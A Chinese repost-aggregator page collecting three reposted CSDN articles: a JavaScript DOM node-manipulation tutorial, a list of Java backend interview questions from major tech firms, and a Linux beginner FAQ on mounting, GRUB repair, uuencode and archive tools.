1.父级节点 1.node.parentNode parenNode属性可以返回某节点得父节点,注意是最近的父节点哟!!! 如果指定的节点没有父节点就返回null 代码演示 <body><div class="box"><div class="box1"></div></div><script>var box1 = document.querySelector('.box1')// 得到的是离元素最近的父节点(亲爸爸) 得不到就返回得是nullconsole.log(box1.parentNode); // parentNode 翻译过来就是父亲的节点</script></body> 2.子级节点操作 1.parentNode.children(非标准) parentNode.children 是一个只读属性,返回所有的子元素节点。它只返回子元素节点,其余节点不返回(重点记住这个就好,以后重点使用) 虽然children是一个非标准,但是得到了各个浏览器的支持,我们大胆使用即可!!! 代码演示 <body><ul><li>1</li><li>1</li><li>1</li><li>1</li></ul><script>// DOM 提供的方法(APL)获取 这样获取比较麻烦var ul = document.querySelector('ul')var lis = ul.querySelectorAll('li')// children子节点获取 ul里面所有的小li 放心使用没有限制兼容性 实际开发中经常使用的console.log(ul.children);</script> 如何返回子节点的第一个和最后一个? 2.parentNode.firstElementChild firstElementChild返回第一个子元素节点,找不到则返回unll 3.parentNode.lastElementChild lastElementChild返回最后一个子元素节点,找不到则返回null 注意:这俩个方法有兼容性问题,IE9以上才支持 谨慎使用 但是我们有解决方案 如果想要第一个子元素节点,可以使用 parentNode.chilren[0] 如果想要最后一个子元素节点,可以使用 parentNode.chilren[parentNode.chilren.length - 1] 代码演示 <body><ul><li>1</li><li>2</li><li>3</li><li>4</li><li>5</li></ul><script>var ul = document.querySelector('ul')// 1.firstElementChild 返回第一个子元素节点 ie9 以上才支持注意兼容console.log(ul.firstElementChild);// 2.lastElementChild返回最后一个子元素节点console.log(ul.lastElementChild);// 3.实际开发中用到的既没有兼容性问题又可以返回子节点的第一个和最后一个console.log(ul.children[0]);console.log(ul.children[ul.children.length - 1]); //ul.children.length - 1获取的永远是子节点最后一个</script></body> 3.兄弟节点 1.node.nextSibling nextSibling 返回当前元素的下一个兄弟节点,找不到则返回null。注意包含所有的节点 2.node.previousSibling previousSibling 返回当前元素上一个兄弟节点,找不到则返回null。注意包含所以有的节点 代码演示 <body><div>我是div</div><span>我是span</span><script>var div = document.querySelector('div')// 返回当前元素的下一个兄弟节点nextSibling,找不到返回null。注意包含元素节点或者文本节点等等console.log(div.nextSibling); //这里返回的是text 因为它的下一个兄弟节点是换行// 返回的是当前元素的上一个节点previousSibling,找不到返回null。注意包含元素节点或者文本节点等等console.log(div.previousSibling); //这里返回的是text 因为它的上一个兄弟节点是换行</script></body> 3.node.nexElementSibling nexElementSibling 返回当前元素下一个兄弟元素节点,找不到返回null 4.node.previousElementSibling previousElementSibling返回当前元素上一个兄弟节点,找不到返回null 注意:这俩个方法有兼容性问题,IE9以上才支持 代码演示 <body><div>我是div</div><span>我是span</span><script>var div = document.querySelector('div')// nextElementSiblingd得到下一个兄弟元素节点console.log(div.nextElementSibling); // span // previousElementSibling 得到的是上一个兄弟元素节点console.log(div.previousElementSibling); // null 因为它上面没有兄弟元素了返回空的</script></body> 怎么解决兼容性问题呢? 可以封装一个兼容性函数(简单了解即可 在实际开发中用的不多) function getNextElementSibling(element) {var el = element;while (el = el.nextSibling) {if (el.nodeType === 1) {return el;} }return null;} 4.创建节点 1.document.createElement('tagName') document.createElement( ) 方法创建由 tagName 指定的 HTML 元素。因为这些元素原先不存在的是根据我们的需求动态生成的,所有我们也称为动态创建元素节点 我们创建了节点要给添加到节点里面去 称为 添加节点 1.node.appendChild(child) node.appendChild( )方法将一个节点添加到指定父节点的子节点列表末尾 2.node.insertBefore(child,指定添加元素位置) node.insertBefore( ) 方法将一个节点添加到父节点的指定子节点前面 代码演示 <body><ul><li>1</li></ul><script>// 1.创建节点 createElementvar li = document.createElement('li')// 2.添加节点 创建了节点要添加到某一个元素身上去 叫添加节点 node.appendChild(child) done 父级 child 子级 如果前面有元素了则在后面追加元素类似数组中的push依次追加var ul = document.querySelector('ul')ul.appendChild(li)// 3.添加节点 node.insertBefore(child,指定元素) 在子节点前面添加子节点 child子级你要添加的元素var lili = document.createElement('li')ul.insertBefore(lili, ul.children[0]) //ul.children 这句话的意思是添加到ul父亲的子节点第一个// 总结 如果想在页面中添加元素分为俩步骤1.创建元素 2.添加元素</script></body> 5.删除节点 node.removeChild(child) node.removeChlid()方法从DOM 中删除一个子节点,返回删除的节点 简单点就是从父元素中删除某一个孩子node就是父亲child就是孩子 删除的节点.remove(没有参数) 注意:ie不支持 代码演示 <body><button>按钮</button><ul><li>熊大</li><li>熊二</li><li>熊三</li></ul><script>// 1.获取元素var ul = document.querySelector('ul')var but = document.querySelector('button');// 2.删除元素// but.onclick = function() {// ul.removeChild(ul.children[0])// }// 3.点击按钮键依次删除,最后没有删除内容了 就禁用按钮 disabled = true 禁用按钮语法but.onclick = function() {if (ul.children.length == 0) {this.disabled = true} else {ul.removeChild(ul.children[0])} }</script></body> 6.复制节点(克隆节点) node.cloneNode() node.dloneNode()方法返回调用该方法节点得一个副本,也称为克隆节点/拷贝节点 注意 1.如果括号参数为空或者为false,则是浅拷贝,只复制里面得标签,不复制内容 2.如果括号参数为true,则是深度拷贝,会复制节点本身以及里面所有的内容 代码演示 <body><ul><li>1</li><li>2</li><li>3</li></ul><script>// 1.获取元素var ul = document.querySelector('ul');// 2.复制元素 node.cloneNode() 如果参数括号为空或者false则只会复制元素不会复制内容,如果待有参数true则内容和元素都会被复制var lis = ul.children[0].cloneNode(true);// 3.获取元素ul.appendChild(lis)</script></body> 7.替换(改)节点 node.replaceChild(新节点,替换到什么位置) 代码演示 <body><ul class="list"><li>1</li><li>2</li></ul><script>// 替换(改)节点 父节点.replaceChild(新元素, 替换到什么位置)// (1)获取父元素var ulNode = document.querySelector('.list');// (2)创建新的元素var liRead = document.createElement('li')// (3)给新元素添加内容liRead.innerHTML = '5';// (4)替换元素ulNode.replaceChild(liRead, ulNode.children[1])</script></body> 8.三种动态创建元素区别 document.write() element.innerHTML document.createElement() 区别 document.write()是直接将内容写入页面的内容流,但是文档流执行完毕,它则会导致页面全部重绘 element.innerHTML是将内容写入某个DOM节点,不会导致页面全部重绘 element.innerHTML 创建多个元素效率更高(不要拼接字符串,采取数组形式拼接),结果有点复杂 createElement()创建多个元素效率低一点点,但是结果更加清晰 总结:不同浏览器下,innerHTML效率要比createElement()高 代码演示 <body><button>点击</button><p>abc</p><div class="inner"></div><div class="create"></div><script>// window.onload = function() {// document.write('<div>123</div>');// }// 三种创建元素方式区别 // 1. document.write() 创建元素 如果页面文档流加载完毕,再调用这句话会导致页面重绘// var btn = document.querySelector('button');// btn.onclick = function() {// document.write('<div>123</div>');// }// 2. innerHTML 创建元素var inner = document.querySelector('.inner');// for (var i = 0; i <= 100; i++) {// inner.innerHTML += '<a href="">百度</a>'// }var arr = [];for (var i = 0; i <= 100; i++) {arr.push('<a href="">百度</a>');}inner.innerHTML = arr.join('');// 3. document.createElement() 创建元素var create = document.querySelector('.create');for (var i = 0; i <= 100; i++) {var a = document.createElement('a');create.appendChild(a);}</script></body> 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_46978034/article/details/110190352。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-04 13:36:05
248
转载
转载文章
...架构设计、数据一致性问题 容器:容器的设计原理等技术 二面题目: 参与的项目,选一个,技术难度在哪里? Collections.sort底层排序方式 负载均衡的原理设计模式与重构,谈谈你对重构的理解 谈谈redis相关的集群有哪些成熟方案? 再谈谈一致hash算法(redis)? 数据库索引,B+树的特性和建树过程 Mysql相关的行锁,表锁;乐观锁,悲观锁 谈谈多线程和并发工具的使用 谈谈redis的架构和组件 Redis的数据一致性问题(分布式多节点环境&单机环境) Docker容器 1.3 Java中间件三面 技术三面考察范围: 主要谈到了高并发的实现方案 以及中间件:redis、rocketmq、kafka等的架构设计思路 最后问了平时怎么提升技术的技术 三面题目 高并发情况下,系统是如何支撑大量的请求的? 接着上面的问题,延伸到了中间件,kafka、redis、rocketmq、mycat等设计思路和适用场景等 最近上过哪些技术网站;最近再看那些书。 工作和生活中遇见最大的挑战,怎么去克服? 未来有怎样的打算 1.4 Java中间件四面 最后,你懂的,主要就是HR走流程了,主要问了未来的职业规划。 02 头条Java后台3面 2.1 头条一面 讲讲jvm运行时数据库区 讲讲你知道的垃圾回收算法 jvm内存模型jmm 内存泄漏与内存溢出的区别 select、epool 的区别?底层的数据结构是什么? mysql数据库默认存储引擎,有什么优点 优化数据库的方法,从sql到缓存到cpu到操作系统,知道多少说多少 什么情景下做分表,什么情景下做分库 linkedList与arrayList区别 适用场景 array list是如何扩容的 volatile 关键字的作用?Java 内存模型? java lock的实现,公平锁、非公平锁 悲观锁和乐观锁,应用中的案例,mysql当中怎么实现,java中的实现 2.2 头条二面 Java 内存分配策略? 多个线程同时请求内存,如何分配? Redis 底层用到了哪些数据结构? 使用 Redis 的 set 来做过什么? Redis 使用过程中遇到什么问题? 搭建过 Redis 集群吗? 如何分析“慢查询”日志进行 SQL/索引 优化? MySQL 索引结构解释一下?(B+ 树) MySQL Hash 索引适用情况?举下例子? 2.3 头条三面 如何保证数据库与redis缓存一致的Redis 的并发竞争问题是什么? 如何解决这个问题? 了解 Redis 事务的 CAS 方案吗? 如何保证 Redis 高并发、高可用? Redis 的主从复制原理,以及Redis 的哨兵原理? 如果让你写一个消息队列,该如何进行架构设计啊?说一下你的思路。 MySQL数据库主从同步怎么实现? 秒杀模块怎么设计的,如何压测,抗压手段 03 今日头条Java后台研发三面 3.1 一面 concurrent包下面用过哪些? countdownlatch功能实现 synchronized和lock区别,重入锁thread和runnable的区别 AtomicInteger实现原理(CAS自旋) java并发sleep与wait、notify与notifyAll的区别 如何实现高效的同步链表 java都有哪些加锁方式(synchronized、ReentrantLock、共享锁、读写锁等) 设计模式(工厂模式、单例模式(几种情况)、适配器模式、装饰者模式) maven依赖树,maven的依赖传递,循环依赖 3.2 二面 synchronized和reentrantLock的区别,synchronized用在代码快、方法、静态方法时锁的都是什么? 介绍spring的IOC和AOP,分别如何实现(classloader、动态代理)JVM的内存布局以及垃圾回收原理及过程 讲一下,讲一下CMS垃圾收集器垃圾回收的流程,以及CMS的缺点 redis如何处理分布式服务器并发造成的不一致OSGi的机制spring中bean加载机制,bean生成的具体步骤,ioc注入的方式spring何时创建- applicationContextlistener是监听哪个事件? 介绍ConcurrentHashMap原理,用的是哪种锁,segment有没可能增大? 解释mysql索引、b树,为啥不用平衡二叉树、红黑树 Zookeeper如何同步配置 3.3 三面 Java线程池ThreadPoolEcecutor参数,基本参数,使用场景 MySQL的ACID讲一下,延伸到隔离级别 dubbo的实现原理,说说RPC的要点 GC停顿原因,如何降低停顿? JVM如何调优、参数怎么调? 如何用工具分析jvm状态(visualVM看堆中对象的分配,对象间的引用、是否有内存泄漏,jstack看线程状态、是否死锁等等) 描述一致性hash算法 分布式雪崩场景如何避免? 再谈谈消息队列 04 抖音Java 三面 4.1 一面: hashmap,怎么扩容,怎么处理数据冲突? 怎么高效率的实现数据迁移? Linux的共享内存如何实现,大概说了一下。 socket网络编程,说一下TCP的三次握手和四次挥手同步IO和异步IO的区别? Java GC机制?GC Roots有哪些? 红黑树讲一下,五个特性,插入删除操作,时间复杂度? 快排的时间复杂度,最坏情况呢,最好情况呢,堆排序的时间复杂度呢,建堆的复杂度是多少 4.2 二面: 自我介绍,主要讲讲做了什么和擅长什么 设计模式了解哪些? AtomicInteger怎么实现原子修改的? ConcurrentHashMap 在Java7和Java8中的区别? 为什么Java8并发效率更好?什么情况下用HashMap,什么情况用ConcurrentHashMap? redis数据结构? redis数据淘汰机制? 4.3 三面(约五十分钟): mysql实现事务的原理(MVCC) MySQL数据主从同步是如何实现的? MySQL索引的实现,innodb的索引,b+树索引是怎么实现的,为什么用b+树做索引节点,一个节点存了多少数据,怎么规定大小,与磁盘页对应。 如果Redis有1亿个key,使用keys命令是否会影响线上服务? Redis的持久化方式,aod和rdb,具体怎么实现,追加日志和备份文件,底层实现原理的话知道么? 遇到最大困难是什么?怎么克服? 未来的规划是什么? 你想问我什么? 05 百度三面 5.1 百度一面 自我介绍 Java中的多态 为什么要同时重写hashcode和equals Hashmap的原理 Hashmap如何变线程安全,每种方式的优缺点 垃圾回收机制 Jvm的参数你知道的说一下 设计模式了解的说一下啊 手撕一个单例模式 手撕算法:反转单链表 手撕算法:实现类似微博子结构的数据结构,输入一系列父子关系,输出一个类似微博评论的父子结构图 手写java多线程 手写java的soeket编程,服务端和客户端 手撕算法: 爬楼梯,写出状态转移方程 智力题:时针分针什么时候重合 5.2 百度二面(现场) 自我介绍 项目介绍 服务器如何负载均衡,有哪些算法,哪个比较好,一致性哈希原理,怎么避免DDOS攻击请求打到少数机器。 TCP连接中的三次握手和四次挥手,四次挥手的最后一个ack的作用是什么,为什么要time wait,为什么是2msl。 数据库的备份和恢复怎么实现的,主从复制怎么做的,什么时候会出现数据不一致,如何解决。 Linux查看cpu占用率高的进程 手撕算法:给定一个数字三角形,找到从顶部到底部的最小路径和。每一步可以移动到下面一行的相邻数字上。 然后继续在这个问题上扩展 求出最短那条的路径 递归求出所有的路径 设计模式讲一下熟悉的 会不会滥用设计模式 多线程条件变量为什么要在while体里 你遇到什么挫折,怎么应对和处理 5.3 百度三面(现场) 自我介绍 项目介绍 Redis的特点 Redis的持久化怎么做,aof和rdb,有什么区别,有什么优缺点。 Redis使用哨兵部署会有什么问题,我说需要扩容的话还是得集群部署。 说一下JVM内存模型把,有哪些区,分别干什么的 说一下gc算法,分代回收说下 MySQL的引擎讲一下,有什么区别,使用场景呢 分布式事务了解么 反爬虫的机制,有哪些方式 06 蚂蚁中间件团队面试题 6.1 蚂蚁中间件一面: 自我介绍 JVM垃圾回收算法和垃圾回收器有哪些,最新的JDK采用什么算法。 新生代和老年代的回收机制。 讲一下ArrayList和linkedlist的区别,ArrayList与HashMap的扩容方式。 Concurrenthashmap1.8后的改动。 Java中的多线程,以及线程池的增长策略和拒绝策略了解么。 Tomcat的类加载器了解么 Spring的ioc和aop,Springmvc的基本架构,请求流程。 HTTP协议与Tcp有什么区别,http1.0和2.0的区别。 Java的网络编程,讲讲NIO的实现方式,与BIO的区别,以及介绍常用的NIO框架。 索引什么时候会失效变成全表扫描 介绍下分布式的paxos和raft算法 6.2 蚂蚁中间件二面 你在项目中怎么用到并发的。 消息队列的使用场景,谈谈Kafka。 你说了解分布式服务,那么你怎么理解分布式服务。 Dubbo和Spring Clound的区别,以及使用场景。 讲一下docker的实现原理,以及与JVM的区别。 MongoDB、Redis和Memcached的应用场景,各自优势 MongoDB有事务吗 Redis说一下sorted set底层原理 讲讲Netty为什么并发高,相关的核心组件有哪些 6.3 蚂蚁中间件三面 完整的画一个分布式集群部署图,从负载均衡到后端数据库集群。 分布式锁的方案,Redis和Zookeeper哪个好,如果是集群部署,高并发情况下哪个性能更好。 分布式系统的全局id如何实现。 数据库万级变成亿级,你如何来解决。 常见的服务器雪崩是由什么引起的,如何来防范。 异地容灾怎么实现 常用的高并发技术解决方案有哪些,以及对应的解决步骤。 07 京东4面(Java研发) 7.1 一面(基础面:约1小时) 自我介绍,主要讲讲做了什么和擅长什么 springmvc和spring-boot区别 @Autowired的实现原理 Bean的默认作用范围是什么?其他的作用范围? 索引是什么概念有什么作用?MySQL里主要有哪些索引结构?哈希索引和B+树索引比较? Java线程池的原理?线程池有哪些?线程池工厂有哪些线程池类型,及其线程池参数是什么? hashmap原理,处理哈希冲突用的哪种方法? 还知道什么处理哈希冲突的方法? Java GC机制?GC Roots有哪些? Java怎么进行垃圾回收的?什么对象会进老年代?垃圾回收算法有哪些?为什么新生代使用复制算法? HashMap的时间复杂度?HashMap中Hash冲突是怎么解决的?链表的上一级结构是什么?Java8中的HashMap有什么变化?红黑树需要比较大小才能进行插入,是依据什么进行比较的?其他Hash冲突解决方式? hash和B+树的区别?分别应用于什么场景?哪个比较好? 项目里有个数据安全的,aes和md5的区别?详细点 7.2 二面(问数据库较多) 自我介绍 为什么MyISAM查询性能好? 事务特性(acid) 隔离级别 SQL慢查询的常见优化步骤? 说下乐观锁,悲观锁(select for update),并写出sql实现 TCP协议的三次握手和四次挥手过程? 用到过哪些rpc框架 数据库连接池怎么实现 Java web过滤器的生命周期 7.3 三面(综合面;约一个小时) 自我介绍。 ConcurrentHashMap 在Java7和Java8中的区别?为什么Java8并发效率更好?什么情况下用HashMap,什么情况用ConcurrentHashMap? 加锁有什么机制? ThreadLocal?应用场景? 数据库水平切分,垂直切分的设计思路和切分顺序 Redis如何解决key冲突 soa和微服务的区别? 单机系统演变为分布式系统,会涉及到哪些技术的调整?请从前面负载到后端详细描述。 设计一个秒杀系统? 7.4 四面(HR面) 你自己最大优势和劣势是什么 平时遇见过什么样的挑战,怎么去克服的 工作中遇见了技术解决不了的问题,你的应对思路? 你的兴趣爱好? 未来的职业规划是什么? 08 美团java高级开发3面 8.1 美团一面 自我介绍 项目介绍 Redis介绍 了解redis源码么 了解redis集群么 Hashmap的原理,增删的情况后端数据结构如何位移 hashmap容量为什么是2的幂次 hashset的源码 object类你知道的方法 hashcode和equals 你重写过hashcode和equals么,要注意什么 假设现在一个学生类,有学号和姓名,我现在hashcode方法重写的时候,只将学号参与计算,会出现什么情况? 往set里面put一个学生对象,然后将这个学生对象的学号改了,再put进去,可以放进set么?并讲出为什么 Redis的持久化?有哪些方式,原理是什么? 讲一下稳定的排序算法和不稳定的排序算法 讲一下快速排序的思想 8.2 美团二面 自我介绍 讲一下数据的acid 什么是一致性 什么是隔离性 Mysql的隔离级别 每个隔离级别是如何解决 Mysql要加上nextkey锁,语句该怎么写 Java的内存模型,垃圾回收 线程池的参数 每个参数解释一遍 然后面试官设置了每个参数,给了是个线程,让描述出完整的线程池执行的流程 Nio和IO有什么区别 Nio和aio的区别 Spring的aop怎么实现 Spring的aop有哪些实现方式 动态代理的实现方式和区别 Linux了解么 怎么查看系统负载 Cpu load的参数如果为4,描述一下现在系统处于什么情况 Linux,查找磁盘上最大的文件的命令 Linux,如何查看系统日志文件 手撕算法:leeetcode原题 22,Generate Parentheses,给定 n 对括号,请- 写一个函数以将其生成新的括号组合,并返回所有组合结果。 8.3 美团三面(现场) 三面没怎么问技术,问了很多技术管理方面的问题 自我介绍 项目介绍 怎么管理项目成员 当意见不一致时,如何沟通并说服开发成员,并举个例子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么?会自动调整顺序么?哪个版本开始优化? Redis的应用 Redis的持久化的方式和原理 技术选型,一个新技术和一个稳定的旧技术,你会怎么选择,选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制,小编在此截出几张知识讲解的图解,有需要的程序猿(媛)可以点赞后戳这里免费领取全部资料获取哦 子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么?会自动调整顺序么?哪个版本开始优化? Redis的应用 Redis的持久化的方式和原理 技术选型,一个新技术和一个稳定的旧技术,你会怎么选择,选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制,小编在此截出几张知识讲解的图解,有需要的程序猿(媛)可以点赞后戳这里免费领取全部资料获取哦 [外链图片转存中…(img-SFREePIJ-1624074891834)] [外链图片转存中…(img-5kF3pkiC-1624074891834)] [外链图片转存中…(img-HDVXfOMR-1624074891835)] [外链图片转存中…(img-RyaAC5jy-1624074891836)] [外链图片转存中…(img-iV32C5Ok-1624074891837)] 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_57285325/article/details/118051767。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 23:43:59
86
转载
转载文章
...区的方法下面给出上述问题的两种解决方案:1.在安装系统(linux),进行到分区选择挂载点时,你可以建立几个挂载点,如/mnt/c,/mnt/d等,然后选择你的windows fat32分区,把它们分别挂载到前面建立的挂载点即可。(注意,正如前面所说,在这里你不能把一个ntfs分区挂载到一个挂载点,应为ntfs不是默认支持的。)这样你装好系统后就能直接使用你的windows fat32分区了。例如,你把windows的c盘(linux中的/dev/hda1)挂载到/mnt/c,那么你就能在/mnt/c目录中找到你的c 盘中的全部数据。2. 如果你在安装系统时没有像方案1所说的那样挂载上你的fat32分区,没关系,仍然能够很方便的解决这个问题。首先,用一个文本编辑器(如vi)打开 /etc/fstab,在文件的最后加入类似如下的几行 /dev/hda1 /mnt/c vfat default 0 0 你所要做的修改就是,把/dev/hda1改成你要挂载的fat32分区在linux中的设备号,把/mnt/c改成相应的挂载点即可。注意,挂载点就是一个目录,这个目录要事先建立。举一个例子,我有三个fat32分区,在windows中是c,d,e盘,在linux中的设备号分别为 /dev/hda1,/dev/hda5,/dev/hda6。那么我就要先建立3个挂载点,如/mnt/c,/mnt/d,/mnt/e,然后在 /etc/fstab中加上这么几行: /dev/hda1 /mnt/c vfat default 0 0 /dev/hda5 /mnt/d vfat default 0 0 /dev/hda6 /mnt/e vfat default 0 0 保存一下退出编辑器。这样以后你重启机器后就能直接使用c,d,e这三个fat32格式的windows分区了 十七.问:我的机器重装windows后,开机启动就直接进入了windows,原来的linux进不去了,怎么办? 答:这是由于windows的霸道。重装windows后,windows重写了你的mbr,覆盖掉了grub。解决方法很简单:用你的linux第一张安装盘引导进入linx rescue模式(如何进入?你注意一下系统的提示信息就知道了),执行下面两条命令就可以了 chroot /mnt/sysimage 改变你的根目录 grub-install /dev/hda 安装grub到mbr 十八.问:我的linux开机直接进入文本界面,怎样才能让它默认进入图形界面? 答:修改/etc/inittab文件,其中有一行id:3:initdefault,意思是说开机默认进入运行级别3(多用户的文本界面),把它改成id:5:initdefault,既开机默认进入运行级别5(多用户的图形界面)。这样就行了。 十九.如何同时启动多个x 以前的帖子,估计很多人没看过,贴出来温习一下 Linux里的X-Windows以其独特的面貌和强大的功能吸引了很多原先对linux不感兴趣的人,特别是KDE和GNOME,功能强大不说,而且自带了很多很棒的软件,界面非常友好,很适合于初学者。下面告诉大家一个同时启动6个X的小技巧: 在~/.bashrc中加入 以下几行: alias X=startx -- -bpp 32 -quiet& alias X1=startx -- :1 -bpp 32 -quiet& alias X2=startx -- :2 -bpp 32 -quiet& alias X3=startx -- :3 -bpp 32 -quiet& alias X4=startx -- :4 -bpp 32 -quiet& alias X5=startx -- :5 -bpp 32 -quiet& 其中32是显示器的色彩深度,你应该根据自己的实际情况设置。 之后运行 bash 使改变生效,以后只要依次运行X,X1,X2,X3,X4,X5就可以启动6个X-Windows了。 二十.装了rpm的postgresql之后启动 /etc/init.d/postgresql start 是不能启动postgresql的tcp/ip连接支持的,所以打开/etc/init.d/postgresql这个文件把 su -l postgres -s /bin/sh -c "/usr/bin/pg_ctl -D $PGDATA -p /usr/bin/postmaster start > /dev/null 2>&1" < /dev/null 改为: su -l postgres -s /bin/sh -c "/usr/bin/pg_ctl -o -o -F -i -w -D $PGDATA -p /usr/bin/postmaster start > /dev/null 2>&1" < /dev/null 这样就可以启动数据库的tcp/ip链接了 二十一.如何将man转存为文本文件 以ls的man为例 man ls |col -b >ls.txt 将info变成文本,以make为例 info make -o make.txt -s 二十二.如何在文本模式下发送2进制文件 首先检查系统有没有uuencode 和 uudecode如果没有从光盘上装 rpm -ivh sharutils-x.xx.x-x.rpm 假设要发送的文件是vpopmail-5.2.1.tar.gz执行 uuencode -m vpopmail-5.2.1.tar.gz vpopmail.tar.gz>encodefile 说明: uuenode是编码命令,-m是使用mime64编码,vpopmail-5.2.1.tar.gz是要编码的文件,vpopmail.tar.gz是如果解码后得到的文件名,encodefile是编码后的文件名。 执行上述命令之后就可以通过mail命令发送编码后的文件了 mail chenlf@chinalinuxpub.com<encodefile 好了,现在我来接收邮件 在控制台上输入mail命令: mail Mail version 8.1 6/6/93. Type ? for help. "/var/spool/mail/chenlf": 2 messages 2 new >N 1 chenlf@ns1.catv.net Mon Jun 10 16:44 17/363 N 2 root@ns2.catv.net Mon Jun 10 16:45 6091/371145 & 2 Message 2: From root@ns2.catv.net Mon Jun 10 16:45:28 2002 Date: Mon, 10 Jun 2002 16:44:51 +0800 From: root <root@ns2.catv.net> To: chenlf@chinalinuxpub.com begin-base64 644 vpopmai.tar.gz H4sIABr15TwAA+w9a2PbNpL7NfwVqNPbWIlFPSzbiR2n9SuxE7/OcuLNtdmU EiGLMUWqfFhWt7u//eYBgKRE2U7iTa+3VndjiQQGg5nBYDAYDC6H4XDgeH51 yW7ajdpf/h2fer1VX1lagr/1+spyq/BXff5SX2mtNBZXmovN5l/qjWZrqfEX sfRvwWbik8aJEwnxl7ifDofXlLvp/Z/0c1nk/8uN/777NuqNen251ZrB/+XF pcUG8r/ZbC0vL9ZXoPwi/O8von73qEx//sP5bwHHxanT8aUIe2IrDBIZJLFl 7QVJFFovpZOkkYxFL4yEFhVLCKhk1W2xG45E1wnEnohlIsJAiksvSlLHF24I JQORhKIjRdKXYhh5Ayca6xcAD8DQm4HT7XuB/EGcSXgbPErEyAkSrNp3LqVw grGoyaRbGzpxPHJFGssotq0Gtw6l9gTgJbixode9EOlQDMaTmEjE/AerydVc rAY4jJzIFY7vC3wL2DgJvJIxIjFwkm6fWkfw1KoAIti/EgkWc3A6YRp05ReB aeXAQH34GoXOwAvOVUnoEnwRYRqJeJAMgczRpYzEyEv6YQoUH8oACltLtjjD Rr1YOCJ2BkPgJop1IuJu5A0TYh9xIdQwfrCWTdt9pMKvaZg4j5jT3PgojC5+ sFZswM0LAJzvSyhGXQSCOmLoO9DtEOAicBCD2qUT1agAg44BSd+1niIEzVPs ................. ................. ................. & s 2 encodefile "encode" [New file] & q 然后进行解码 uudecode encodefile ls encodefile vpopmai.tar.gz tar zxvf vpopmail.tar.gz OK了 二十三.将 man page 转成 HTML 格式 使用 man2html 这个指令,就可以将 man page 转成 HTML 格式了。用法是: man2html filename > htmlfile.html 二十四.如何在gnome和kde之间切换。 如果你是以图形登录方式登录linux,那么点击登录界面上的session(任务)即可以选择gnome和kde。如果你是以文本方式登录,那执行switchdesk gnome或switchdesk kde,然后再startx就可以进入gnome或kde。 25...tar,.tar.gz,.bz2,.tar.bz2,.bz,.gz是什么文件,如何解开他们? 他们都是文件(压缩)包。 .tar:把文件打包,不压缩:tar cvf .tar dirName 解开:tar xvf .tar .tar.gz:把文件打包并压缩:tar czvf .tar.gz dirName 解开:tar xzvf .tar.gz .bz2:解开:bzip2 -d .bz2 .bz:解开:bzip -d .bz .gz:解开:gzip -d .gz 26.linux下如何解开.zip,.rar压缩文件? rh8下有一个图形界面的软件file-roller可以做这件事。令外可以用unzip .zip解开zip文件,unrar .rar解开rar文件,不过unrar一般系统不自带,要到网上下载。 27.linux下如何浏览.iso光盘镜像文件? a.建一个目录,如:mkdir a b.把iso文件挂载到该目录上:mount -o loop xxxx.iso a 现在目录a里的内容就是iso文件里的内容了。 28.linux下如何配置网络? 用netconfig。“IP address:”就是要配置的IP地址,“Netmask:”子网掩码,“Default gateway (IP):”网关,“Primary nameserver:”DNS服务器IP。 29.如何让鼠标支持滚轮? 在配置鼠标时,选择微软的鼠标,并正确选择端口如ps2,usb等 30.如何让控制台支持中文显示? 安装zhcon。zhcon需要libimm_server.so和libpth.so.13这两个库支持。一般的中文输入法应该都有libimm_server.so。libpth.so.13出自pth-1.3.x。把这两个文件放到/usr/lib下就行了。 31.如何配置grub? 修改/boot/grub/grub.conf文件。其中 “default=n”(n是个数字)是grub引导菜单默认被选中的项,n从0开始,0表示第一项,1表示第二项,依此类推。 “timeout=x”(x是一个数)是超时时间,单位是妙。也就是引导菜单显示后,如果x秒内用户不进行选择,那么grub将启动默认项。 “splashimage =xxxxxx”,这是引导菜单的背景图,先不理他。 其它常用项我用下面的例子来说明: title Red Hat 8.0 root (hd1,6) kernel /boot/vmlinuz-2.4.18-14 ro root=/dev/hdb7 initrd /boot/initrd-2.4.18-14.img 其中"Red Hat 8.0"是在启动菜单列表里显示的名字 root (hdx,y)用来指定你的boot分区位置,如果你没有分boot分区(本例就没分boot分区),那就指向根分区就行了,hdx是linux所在硬盘,hd0是第一块硬盘,hd1是第二块,依此类推。y是分区位置,从0开始,也就是等于分区号减一,比如你要指向的分区是hdx7,那么y就是6,如果是hdx1,那y就是0。注意root后面要有一个空格。 kernel /boot/vmlinuz-2.4.18-14,其中"/boot/vmlinuz-2.4.18-14"是你要用的内核路径,如果你编译了心内核,把它改成你的新内核的路径就行了。 ro就不用管,写上不会有错。 root=/dev/hdxx指定根分区,本例是hdb7,所以root=/dev/hdb7 initrd xxxxxxxxxxxxx这行不要也行,目前我还不清楚它是做什么用的。 上面是linux的,下面是windows的 title windows 98 rootnoverify (hd0,0) chainloader +1 title xxxxxxx不用解释了,上面有解释。 rootnoverify (hdx,y)用来指定windows所在分区,x,y跟上面一样,注意rootnoverify后有空格。 chainloader +1照抄就行,注意空格。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gudulyn/article/details/764890。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 